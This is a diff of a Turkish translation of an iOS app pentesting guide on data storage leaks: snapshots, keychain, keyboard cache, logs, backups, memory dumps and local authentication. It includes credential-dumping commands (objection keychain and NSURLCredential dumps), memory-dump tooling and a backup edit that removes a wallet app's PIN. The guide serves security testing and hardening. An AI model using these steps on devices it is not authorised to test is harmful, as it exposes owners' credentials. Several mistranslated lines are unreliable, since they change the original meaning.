+[Apple belgeleri](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
- `Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. default) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya herhangi bir oturumla ilgili veriyi diske kaydetmez. Bunun yerine, oturumla ilgili veriler RAM'de saklanır. Bir geçici oturumun veri yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğiniz zamandır.`
-3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) önbellek politikasına ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin bellekte veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır.
+`Bir geçici oturum yapılandırma nesnesi, varsayılan bir oturum yapılandırmasıyla (bkz. varsayılan) benzerdir, ancak karşılık gelen oturum nesnesi önbellekleri, kimlik bilgisi depolarını veya diske herhangi bir oturumla ilgili veriyi depolamaz. Bunun yerine, oturumla ilgili veriler RAM'de depolanır. Bir geçici oturumun verileri diske yazdığı tek zaman, bir URL'nin içeriğini bir dosyaya yazmasını söylediğinizde olur.`
+3. Önbellek, [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed) önbellek politikasına ayarlanarak da devre dışı bırakılabilir. Bu, önbelleğin hafızada veya diske herhangi bir şekilde saklanmasını devre dışı bırakacaktır.
-### Ekran Görüntüleri
+### Anlık Görüntüler
-Ana ekran düğmesine bastığınızda, iOS, uygulamaya çok daha yumuşak bir şekilde geçiş yapabilmek için mevcut ekranın bir görüntüsünü alır. Ancak, mevcut ekranda **hassas veriler** bulunuyorsa, bu veriler **resimde kaydedilir** (ki bu **yeniden başlatmalara kadar** **saklanır**). Bu, uygulamalar arasında geçiş yapmak için ana ekranı çift tıkladığınızda erişebileceğiniz ekran görüntüleridir.
+Ev düğmesine bastığınızda, iOS **mevcut ekranın bir anlık görüntüsünü alır** ve uygulamaya geçişi çok daha sorunsuz hale getirmek için kullanır. Ancak, eğer mevcut ekranda **hassas veriler** varsa, bu veriler **resimde saklanır** (bu, **yeniden başlatmalara karşın kalıcıdır**). Bu, uygulamalar arasında geçiş yapmak için ev ekranına çift dokunarak erişebileceğiniz anlık görüntülerdir.
-iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görebilmek için **cihaza erişime** **ihtiyacı** **vardır**. Varsayılan olarak, son ekran görüntüsü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar, iOX 7.0'dan itibaren dosya sistemine erişemez).
+iPhone jailbreak yapılmamışsa, **saldırganın** bu ekran görüntülerini görmek için **cihaza erişimi** **engellenmemiş** olmalıdır. Varsayılan olarak, son anlık görüntü uygulamanın sandbox'ında `Library/Caches/Snapshots/` veya `Library/SplashBoard/Snapshots` klasöründe saklanır (güvenilir bilgisayarlar iOX 7.0'dan itibaren dosya sistemine erişemez).
-Bu kötü davranışı önlemenin bir yolu, `ApplicationDidEnterBackground()` işlevini kullanarak ekran görüntüsü almadan önce boş bir ekran veya hassas verileri kaldırmaktır.
+Bu kötü davranışı önlemenin bir yolu, anlık görüntüyü almadan önce duyarlı verileri kaldırmak veya bir boş ekran kullanmaktır, bunu `ApplicationDidEnterBackground()` işlevini kullanarak yapabilirsiniz.
-Aşağıdaki örnek düzeltme yöntemi, varsayılan bir ekran görüntüsü ayarlayacaktır.
+Aşağıdaki, varsayılan bir ekran görüntüsü ayarlayan örnek bir düzeltme yöntemidir.
Swift:
```swift
@@ -571,15 +568,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
```
-Objective-C:
-
-Objective-C, Apple tarafından geliştirilen bir programlama dilidir. iOS uygulama geliştirme sürecinde sıkça kullanılır. Objective-C, C programlama diline dayanır ve Smalltalk dilinden etkilenmiştir.
-
-Objective-C, iOS uygulamalarının güvenlik açıklarını tespit etmek için kullanılan bir dildir. Bu nedenle, iOS pentesting sürecinde Objective-C'ye aşina olmak önemlidir.
-
-Objective-C ile iOS uygulamalarını analiz etmek için birkaç araç bulunmaktadır. Bunlar arasında Hopper Disassembler, class-dump, Cycript ve Frida gibi araçlar bulunur.
-
-Objective-C, iOS uygulamalarının kaynak kodunu anlamak ve analiz etmek için kullanılan bir dil olduğu için, Objective-C'ye hakim olmak, iOS pentesting sürecinde büyük bir avantaj sağlar.
+**Objective-C:**
```
@property (UIImageView *)backgroundImage;
@@ -594,102 +583,105 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview];
}
```
-Bu, uygulama arka plana alındığında arka plan görüntüsünü `overlayImage.png` olarak ayarlar. `overlayImage.png` her zaman mevcut görünümü geçersiz kıldığı için hassas veri sızıntılarını önler.
+### Arka Plan Resmi Ayarı
-### Anahtar Zinciri
+Uygulama arka planda çalıştığında `overlayImage.png` dosyasını arka plan resmi olarak ayarlar. Bu, `overlayImage.png` dosyasının her zaman mevcut görünümü geçersiz kılacağından hassas veri sızıntılarını önler.
-iOS anahtar zincirine erişmek ve yönetmek için, jailbreakli cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar.
+### Keychain
+
+iOS anahtar zincirine erişmek ve yönetmek için, jailbreak yapılmış cihazlar için uygun olan [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) gibi araçlar mevcuttur. Ayrıca, benzer amaçlar için [**Objection**](https://github.com/sensepost/objection) `ios keychain dump` komutunu sağlar.
#### **Kimlik Bilgilerini Saklama**
-**NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtar zincirine kaydetmek için idealdir ve NSUserDefaults veya diğer sarmalayıcılar için ihtiyacı ortadan kaldırır. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır:
+**NSURLCredential** sınıfı, hassas bilgileri doğrudan anahtar zincirine kaydetmek için idealdir ve NSUserDefaults veya diğer sarmallara gerek kalmadan kullanılır. Giriş yaptıktan sonra kimlik bilgilerini saklamak için aşağıdaki Swift kodu kullanılır:
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
```
-Bu saklanan kimlik bilgilerini çıkarmak için Objection'ın `ios nsurlcredentialstorage dump` komutu kullanılır.
+Storedaki bu kimlik bilgilerini çıkarmak için Objection'ın `ios nsurlcredentialstorage dump` komutu kullanılır.
## **Özel Klavyeler ve Klavye Önbelleği**
-iOS 8.0'dan itibaren kullanıcılar, **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilirler. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşu kaydetme ve verileri harici sunuculara iletmek gibi bir risk oluştururlar, ancak kullanıcılara ağ erişimi gerektiren klavyeler hakkında bilgi verilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve bunu yapmalıdır.
+iOS 8.0'dan itibaren kullanıcılar, **Ayarlar > Genel > Klavye > Klavyeler** altında yönetilebilen özel klavye uzantıları yükleyebilirler. Bu klavyeler genişletilmiş işlevsellik sunarken, tuş vuruşu kaydı tutma ve verileri harici sunuculara iletim riski oluştururlar, ancak kullanıcılar ağ erişimi gerektiren klavyeler hakkında bilgilendirilir. Uygulamalar, hassas bilgi girişi için özel klavyelerin kullanımını kısıtlayabilir ve kısıtlamalıdır.
**Güvenlik Önerileri:**
-- Gelişmiş güvenlik için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
-- Öntanımlı iOS klavyesinin otomatik düzeltme ve otomatik öneri özelliklerine dikkat edilmelidir, çünkü bu özellikler hassas bilgileri `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarına kaydedebilir. Bu önbellek dosyaları düzenli olarak hassas veriler için kontrol edilmelidir. Önbelleğe alınmış verileri temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** seçeneği önerilir.
-- Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir.
+
+* Güvenliği artırmak için üçüncü taraf klavyelerin devre dışı bırakılması önerilir.
+* iOS'un varsayılan klavyesinin otomatik düzeltme ve otomatik öneriler özelliklerine dikkat edilmelidir, çünkü bu özellikler hassas bilgileri `Library/Keyboard/{locale}-dynamic-text.dat` veya `/private/var/mobile/Library/Keyboard/dynamic-text.dat` konumunda bulunan önbellek dosyalarına kaydedebilir. Bu önbellek dosyaları düzenli olarak hassas veriler açısından kontrol edilmelidir. Önbellek verilerini temizlemek için **Ayarlar > Genel > Sıfırla > Klavye Sözlüğünü Sıfırla** üzerinden klavye sözlüğünü sıfırlamak önerilir.
+* Ağ trafiğinin dinlenmesi, özel bir klavyenin tuş vuruşlarını uzaktan iletip iletemediğini ortaya çıkarabilir.
### **Metin Alanı Önbelleğini Önleme**
-[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişi gibi hassas bilgi önbelleğini önlemek için gerekli olan özellikleri sunar. Örneğin, otomatik düzeltmeyi devre dışı bırakmak ve güvenli metin girişini etkinleştirmek şu şekilde yapılabilir:
+[UITextInputTraits protokolü](https://developer.apple.com/reference/uikit/uitextinputtraits), otomatik düzeltme ve güvenli metin girişini yönetmek için gerekli olan özellikleri sunar ve hassas bilgi önbelleğini önlemek için esastır. Örneğin, otomatik düzeltmeyi devre dışı bırakma ve güvenli metin girişini etkinleştirme şu şekilde gerçekleştirilebilir:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
-Ayrıca, geliştiriciler metin alanlarının, özellikle şifreler ve PIN'ler gibi hassas bilgilerin girildiği alanların önbelleğe alınmasını engellemek için `autocorrectionType`'ı `UITextAutocorrectionTypeNo` ve `secureTextEntry`'yi `YES` olarak ayarlayarak önbelleğe alma işlemini devre dışı bırakmalıdır.
+Ek olarak, geliştiriciler metin alanlarının, özellikle şifreler ve PIN'ler gibi hassas bilgilerin girildiği alanların önbelleğe alınmasını engellemek için `autocorrectionType`'ı `UITextAutocorrectionTypeNo` olarak ve `secureTextEntry`'i `YES` olarak ayarlayarak güvence altına almalıdır.
```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **Kayıtlar**
-Hata ayıklama kodu genellikle **kayıtların kullanımını** içerir. **Kayıtlar hassas bilgiler içerebilir** riski vardır. Daha önce, iOS 6 ve daha eski sürümlerde, kayıtlar tüm uygulamalara erişilebilirken, hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi kayıtlarına erişebilirler**.
+Hata ayıklama kodu genellikle **günlüğü kullanmayı** gerektirir. **Kayıtlar hassas bilgiler içerebileceğinden risk içerir**. Daha önce, iOS 6 ve önceki sürümlerinde, günlüklere tüm uygulamalar erişebiliyordu, bu da hassas veri sızıntısı riski oluşturuyordu. **Şimdi, uygulamalar yalnızca kendi günlüklerine erişebilirler**.
-Bu kısıtlamalara rağmen, kilidini açmış bir cihaza fiziksel erişimi olan bir **saldırgan, cihazı bir bilgisayara bağlayarak kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kaydedildiğini unutmamak önemlidir.
+Bu kısıtlamalara rağmen, **kilitli bir cihaza fiziksel erişimi olan bir saldırgan**, cihazı bir bilgisayara bağlayarak bu durumu hala sömürebilir ve **kayıtları okuyabilir**. Kayıtların uygulamanın kaldırılmasından sonra bile diske kalması önemlidir.
-Riskleri azaltmak için, uygulama ile **etkileşimde bulunmak**, tüm işlevlerini ve girişlerini keşfetmek, yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmak için önerilir.
+Riskleri azaltmak için, uygulama ile **etkileşimi detaylı bir şekilde** incelemek, tüm işlevlerini ve girdilerini keşfetmek ve yanlışlıkla hassas bilgilerin kaydedilmediğinden emin olmak önerilir.
-Potansiyel sızıntılar için uygulamanın kaynak kodunu inceleyerek, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` gibi anahtar kelimeleri kullanarak hem **önceden tanımlanmış** hem de **özel kayıt ifadelerini** arayın. Dahili işlevler için ve özel uygulamalar için `Logging` veya `Logfile` gibi herhangi bir bahsetme için arama yapın.
+Potansiyel sızıntılar için uygulamanın kaynak kodunu inceleyerek, `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` gibi yerleşik işlevler için **önceden tanımlanmış** ve özel günlükleme ifadeleri için `Logging` veya `Logfile` gibi anahtar kelimeleri arayın.
### **Sistem Kayıtlarını İzleme**
-Uygulamalar, hassas olabilen çeşitli bilgileri kaydeder. Bu kayıtları izlemek için, aşağıdaki gibi araçlar ve komutlar kullanılabilir:
+Uygulamalar çeşitli hassas bilgileri kaydeder. Bu kayıtları izlemek için, araçlar ve komutlar gibi:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u (| grep ) # To capture the device logs
```
-Aşağıdaki adımlar, **Xcode** kullanarak konsol günlüklerini toplamanın bir yolunu sağlar:
+Ayrıca, **Xcode** konsol log'larını toplamanın bir yolunu sağlar:
1. Xcode'u açın.
2. iOS cihazını bağlayın.
-3. **Pencere** -> **Cihazlar ve Simülatörler**'e gidin.
+3. **Window** -> **Devices and Simulators**'e gidin.
4. Cihazınızı seçin.
-5. İncelemekte olduğunuz sorunu tetikleyin.
-6. Günlükleri yeni bir pencerede görüntülemek için **Konsolu Aç** düğmesini kullanın.
+5. Araştırdığınız sorunu tetikleyin.
+6. Logları yeni bir pencerede görüntülemek için **Open Console** düğmesini kullanın.
-Daha gelişmiş günlükleme için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı günlük izleme sağlamak mümkündür:
+Daha gelişmiş loglama için, cihaz kabuğuna bağlanmak ve **socat** kullanarak gerçek zamanlı log izleme sağlayabilir.
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
-Komutları izleyerek günlük etkinlikleri gözlemlemek, sorunları teşhis etmek veya günlüklerde potansiyel veri sızıntılarını belirlemek için son derece değerli olabilir.
+Log aktivitelerini gözlemlemek için kullanılan komutlar, sorunları teşhis etmek veya günlüklerde potansiyel veri sızıntılarını belirlemek için son derece değerli olabilir.
***
-
+
\
-[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
+[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Yedeklemeler
-iOS'a **otomatik yedekleme özellikleri** entegre edilmiştir ve iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz verilerinin kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler neredeyse tüm cihaz verilerini kapsar, ancak Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi son derece hassas unsurları içermez.
+iOS'e entegre edilmiş **otomatik yedekleme özellikleri**, iTunes (macOS Catalina'ya kadar), Finder (macOS Catalina'dan itibaren) veya iCloud aracılığıyla cihaz veri kopyalarının oluşturulmasını kolaylaştırır. Bu yedeklemeler neredeyse tüm cihaz verilerini kapsar, Apple Pay ayrıntıları ve Touch ID yapılandırmaları gibi son derece hassas unsurları hariç tutar.
### Güvenlik Riskleri
-Yedeklemelerde **kurulu uygulamalar ve verileri** yer alması, potansiyel **veri sızıntısı** sorununu ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirebileceği riskini** ortaya çıkarır. Bu riskleri azaltmak için hassas bilgileri düz metin olarak herhangi bir uygulamanın dizininde veya alt dizinlerinde saklamamak önerilir.
+Yedeklemelerde **kurulu uygulamalar ve verilerinin** bulunması, potansiyel **veri sızıntısı** sorununu ve **yedekleme değişikliklerinin uygulama işlevselliğini değiştirebileceği riskini** ortaya çıkarır. Bu riskleri azaltmak için **duyarlı bilgileri düz metin olarak saklamamak** önerilir.
### Yedeklemelerden Dosyaları Hariç Tutma
-`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Hassas verilerin yedeklemelere dahil edilmesini önlemek için bu uygulama önemlidir.
+`Documents/` ve `Library/Application Support/` içindeki dosyalar varsayılan olarak yedeklenir. Geliştiriciler, `NSURLIsExcludedFromBackupKey` ile `NSURL setResourceValue:forKey:error:` kullanarak belirli dosyaları veya dizinleri yedeklemelerden hariç tutabilir. Bu uygulama, hassas verilerin yedeklemelere dahil edilmesini önlemek için önemlidir.
### Zafiyetlerin Test Edilmesi
-Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturarak başlayın ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeklemeyi bulun. Yedeklemeyi, uygulama davranışını etkileyebilecek hassas verileri veya yapılandırmaları değiştirebilecek unsurlar açısından analiz edin.
+Bir uygulamanın yedekleme güvenliğini değerlendirmek için, Finder kullanarak bir yedekleme oluşturun ve ardından [Apple'ın resmi belgelerinden](https://support.apple.com/en-us/HT204215) rehberlik alarak yedeği bulun. Yedeği hassas veriler veya yapılandırmalar açısından analiz ederek uygulama davranışını etkileyebilecek değişiklikler yapılabilir.
-Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeklemenin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarının kontrol edilerek doğrulanabilir.
+Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) gibi uygulamalar kullanılarak aranabilir. Şifreli yedeklemeler için, şifrelemenin varlığı, yedeğin kökünde bulunan "Manifest.plist" dosyasındaki "IsEncrypted" anahtarını kontrol ederek doğrulanabilir.
```xml
@@ -702,19 +694,19 @@ Hassas bilgiler, komut satırı araçları veya [iMazing](https://imazing.com) g
...
```
-Şifrelenmiş yedeklemelerle uğraşmak için, **backup_tool.py** ve **backup_passwd.py** gibi Python betikleri [DinoSec'in GitHub deposunda](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts) bulunabilir. Bunlar, en son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilir. Şifre korumalı yedeklemelerdeki dosyalara erişmek için başka bir seçenek ise [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/)dir.
+Şifrelenmiş yedeklemelerle uğraşmak için, [DinoSec'in GitHub deposundaki](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts) Python betikleri, örneğin **backup\_tool.py** ve **backup\_passwd.py**, son iTunes/Finder sürümleriyle uyumluluk için ayarlamalar gerektirebilecek olsa da yararlı olabilir. Şifre korumalı yedeklemelerdeki dosyalara erişim için başka bir seçenek olan [**iOSbackup** aracı](https://pypi.org/project/iOSbackup/) bulunmaktadır.
### Uygulama Davranışını Değiştirme
-Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir. UI kilidi PIN'i, **pin_code** anahtarı altında `net.bither.plist` içinde saklanır. Bu anahtarı plist dosyasından kaldırarak ve yedeklemeyi geri yükleyerek PIN gereksinimini kaldırabilir ve sınırsız erişim sağlayabilirsiniz.
+Yedekleme değişiklikleri aracılığıyla uygulama davranışını değiştirme örneği, [Bither bitcoin cüzdan uygulamasında](https://github.com/bither/bither-ios) gösterilmektedir, burada UI kilidi PIN'inin **pin\_code** anahtarı altında `net.bither.plist` içinde saklandığı görülmektedir. Bu anahtarı plist'ten kaldırarak ve yedeği geri yükleyerek PIN gereksinimini kaldırarak sınırsız erişim sağlanabilir.
## Hassas Veriler İçin Bellek Testi Özeti
-Bir uygulamanın belleğinde depolanan hassas bilgilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak son derece önemlidir. Bellek içeriğini araştırmak için iki temel yaklaşım vardır: **bellek dökümü oluşturma** ve **belleği gerçek zamanlı olarak analiz etme**. Her iki yöntemin de, döküm süreci veya analiz sırasında önemli verilerin gözden kaçma potansiyeli gibi zorlukları vardır.
+Bir uygulamanın belleğinde saklanan hassas bilgilerle uğraşırken, bu verilerin maruz kalma süresini sınırlamak çok önemlidir. Bellek içeriğini araştırmak için iki temel yaklaşım vardır: **bir bellek dökümü oluşturmak** ve **belleği gerçek zamanlı olarak analiz etmek**. Her iki yöntemin de, döküm süreci veya analiz sırasında kritik verilerin kaçırılma potansiyeli gibi zorlukları vardır.
-## **Bellek Dökümü Almak ve Analiz Etmek**
+## **Bir Bellek Dökümü Alıp Analiz Etmek**
-Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Dökülen verileri analiz etmek için ise aradığınız bilginin doğasına bağlı olarak çeşitli araçlar kullanılır.
+Hem jailbreak yapılmış hem de yapılmamış cihazlar için, [objection](https://github.com/sensepost/objection) ve [Fridump](https://github.com/Nightbringer21/fridump) gibi araçlar bir uygulamanın işlem belleğini dökme imkanı sağlar. Bir kez döküldüğünde, bu verilerin analizi, aradığınız bilginin doğasına bağlı olarak çeşitli araçlar gerektirir.
Bir bellek dökümünden dizeleri çıkarmak için `strings` veya `rabin2 -zz` gibi komutlar kullanılabilir:
```bash
@@ -724,7 +716,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
-Daha ayrıntılı bir analiz için, belirli veri türlerini veya desenleri aramak için **radare2**, kapsamlı arama yetenekleri sunar:
+Daha detaylı bir analiz için, belirli veri türleri veya desenler aramak için **radare2**, kapsamlı arama yetenekleri sunar:
```bash
$ r2
[0x00000000]> /?
@@ -732,7 +724,7 @@ $ r2
```
## **Çalışma Zamanı Bellek Analizi**
-**r2frida**, bir uygulamanın belleğini bir bellek dökümüne ihtiyaç duymadan gerçek zamanlı olarak incelemek için güçlü bir alternatif sunar. Bu araç, çalışan uygulamanın belleğinde arama komutlarının doğrudan yürütülmesini sağlar:
+**r2frida**, bir uygulamanın belleğini bir bellek dökümüne ihtiyaç duymadan gerçek zamanlı olarak incelemek için güçlü bir alternatif sunar. Bu araç, çalışan uygulamanın belleği üzerinde arama komutlarının doğrudan yürütülmesini sağlar:
```bash
$ r2 frida://usb//
[0x00000000]> /\
@@ -741,51 +733,53 @@ $ r2 frida://usb//
### Zayıf Anahtar Yönetimi Süreçleri
-Bazı geliştiriciler, hassas verileri yerel depolamada saklar ve kodda sabit/predictable bir anahtarla şifreler. Bu, bazı tersine mühendislik işlemleriyle saldırganların gizli bilgileri çıkarmasına izin vermemek için yapılmamalıdır.
+Bazı geliştiriciler hassas verileri yerel depolamada saklar ve kodda sabit/tahmin edilebilir bir anahtarla şifreler. Bu yapılmamalı çünkü bazı tersine mühendislik saldırıları, saldırganların gizli bilgileri çıkarmasına izin verebilir.
-### Güvensiz ve/veya Kullanımdan Kalkmış Algoritmaların Kullanımı
+### Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı
-Geliştiriciler, yetkilendirme kontrolü yapmak, veri depolamak veya göndermek için **kullanımdan kalkmış algoritmaları** kullanmamalıdır. Bu algoritmalar arasında RC4, MD4, MD5, SHA1 gibi algoritmalar bulunur. Örneğin, şifreleri depolamak için **hash** kullanılıyorsa, tuz ile birlikte brute-force **dayanıklı** hash'ler kullanılmalıdır.
+Geliştiriciler **kullanımdan kaldırılmış algoritmaları** kullanmamalıdır **yetkilendirme kontrolü**, **veri depolama** veya **gönderme** işlemleri için. Bu algoritmaların bazıları: RC4, MD4, MD5, SHA1... Örneğin şifreleri depolamak için **hash** kullanılıyorsa, hashlerin tuz ile birlikte kullanıldığı kaba kuvvet saldırılarına dayanıklı olmalıdır.
### Kontrol
-Kod içinde **sabit** şifreler/parolalar veya bunların **tahmin edilebilir** olup olmadığını bulmak ve kodun zayıf şifreleme algoritmaları kullanıp kullanmadığını kontrol etmek için yapılması gereken temel kontrollerdir.
+Yapılması gereken ana kontroller, kod içinde **sabitlenmiş** şifreler/sırlar bulunup bulunmadığını, bunların **tahmin edilebilir** olup olmadığını ve kodun bazı türde **zayıf** **şifreleme** algoritmalarını kullanıp kullanmadığını bulmaktır.
-İlginç bir şekilde, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak izleyebilirsiniz. Bunun için şu komutu kullanabilirsiniz:
+İlginç olan şudur ki, **objection** kullanarak bazı **şifreleme** **kütüphanelerini** otomatik olarak **izleyebilirsiniz**.
```swift
ios monitor crypt
```
-Daha fazla bilgi için iOS kriptografik API'ları ve kütüphaneleri hakkında [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) adresine erişin.
+iOS şifreleme API'ları ve kütüphaneleri hakkında **daha fazla bilgi** için [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
## Yerel Kimlik Doğrulama
-**Yerel kimlik doğrulama**, özellikle şifreleme yöntemleri aracılığıyla uzaktan bir uç noktaya erişimi koruma konusunda önemli bir rol oynar. Buradaki temel nokta, uygun bir şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabileceğidir.
+**Yerel kimlik doğrulama**, özellikle uzaktaki bir uç noktaya şifreleme yöntemleri aracılığıyla erişimi koruma konusunda önemli bir rol oynar. Buradaki esas nokta, uygun şekilde uygulanmadığında yerel kimlik doğrulama mekanizmalarının atlatılabilir olabileceğidir.
-Apple'ın **[Yerel Kimlik Doğrulama çerçevesi](https://developer.apple.com/documentation/localauthentication)** ve **[anahtarlık](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)**, geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve gizli verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Enclave, Parmak İzi Kimliği için parmak izini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma temelinde çalışır.
+Apple'ın [**Yerel Kimlik Doğrulama çerçevesi**](https://developer.apple.com/documentation/localauthentication) ve [**anahtarlık**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html), geliştiricilere kullanıcı kimlik doğrulama iletişim kutularını kolaylaştırmak ve sırlı verileri güvenli bir şekilde işlemek için sağlam API'lar sağlar. Güvenli Kasa, Parmak İzi Kimliği için parmak izi kimliğini güvence altına alırken, Yüz Kimliği biyometrik verileri tehlikeye atmadan yüz tanıma üzerine kuruludur.
Touch ID/Face ID'yi entegre etmek için geliştiricilerin iki API seçeneği vardır:
-- Yüksek seviyeli kullanıcı kimlik doğrulama için **`LocalAuthentication.framework`**.
-- Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulama ile gizli verileri güvence altına alır. [Açık kaynaklı sargılar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir.
+
+* Yüksek seviyeli kullanıcı kimlik doğrulaması için **`LocalAuthentication.framework`**.
+* Düşük seviyeli anahtarlık hizmetlerine erişim için **`Security.framework`**, biyometrik kimlik doğrulaması ile sırlı verileri güvence altına alır. Çeşitli [açık kaynaklı sarmallar](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id) anahtarlık erişimini daha basit hale getirir.
{% hint style="danger" %}
-Ancak, hem `LocalAuthentication.framework` hem de `Security.framework` güvenlik açıkları sunar, çünkü öncelikle kimlik doğrulama süreçleri için veri iletimi yapmadan boolean değerler döndürürler, bu da atlatılabilirliklerine neden olur (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
+Ancak, hem `LocalAuthentication.framework` hem de `Security.framework`, genellikle kimlik doğrulama süreçleri için veri iletimi yapmadan öncelikle boolean değerler döndürdükleri için güvenlik açıkları sunarlar, bu da onları atlanabilir hale getirir (bkz. [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
{% endhint %}
-### Yerel Kimlik Doğrulama Uygulama
+### Yerel Kimlik Doğrulaması Uygulamak
-Kullanıcıları kimlik doğrulaması için geliştiricilerin **`LAContext`** sınıfı içindeki **`evaluatePolicy`** yöntemini kullanmaları gerekmektedir. Aşağıdaki seçenekler arasından seçim yapabilirler:
